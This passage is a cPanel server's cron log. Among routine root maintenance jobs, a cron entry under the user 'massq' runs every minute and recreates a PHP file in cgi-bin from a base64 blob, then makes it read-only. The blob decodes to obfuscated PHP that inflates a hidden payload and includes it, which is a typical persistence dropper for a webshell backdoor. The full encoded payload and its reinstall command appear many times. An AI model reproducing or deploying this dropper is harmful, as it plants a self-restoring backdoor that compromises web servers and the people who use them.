"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:09:01 server CROND[21635]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 03:09:01 server CROND[21634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:10:01 server CROND[22177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:10:01 server CROND[22178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:10:01 server CROND[22185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:10:01 server CROND[22188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:10:01 server CROND[22186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:10:01 server CROND[22189]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:10:01 server CROND[22191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:10:01 server CROND[22190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:11:01 server CROND[23203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:11:01 server CROND[23204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:11:01 server CROND[23206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:12:01 server CROND[23672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:12:01 server CROND[23673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:12:01 server CROND[23675]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:12:01 server CROND[23674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:13:01 server CROND[24101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:13:01 server CROND[24102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:13:01 server CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:14:01 server CROND[24484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:14:01 server CROND[24486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:14:01 server CROND[24485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:15:01 server CROND[24894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:15:01 server CROND[24896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:15:01 server CROND[24898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:15:01 server CROND[24899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:15:01 server CROND[24900]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 03:15:01 server CROND[24904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:15:01 server CROND[24903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:15:01 server CROND[24902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:16:01 server CROND[25736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:16:01 server CROND[25737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:16:01 server CROND[25738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:17:01 server CROND[26107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:17:01 server CROND[26108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:17:01 server CROND[26106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:18:01 server CROND[26614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:18:01 server CROND[26615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:18:01 server CROND[26616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:19:01 server CROND[26983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:19:01 server CROND[26984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:19:01 server CROND[26985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:20:01 server CROND[27378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:20:01 server CROND[27377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:20:01 server CROND[27380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:20:01 server CROND[27381]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 03:20:01 server CROND[27379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 03:20:01 server CROND[27398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:20:01 server CROND[27401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:20:01 server CROND[27402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:20:01 server CROND[27406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y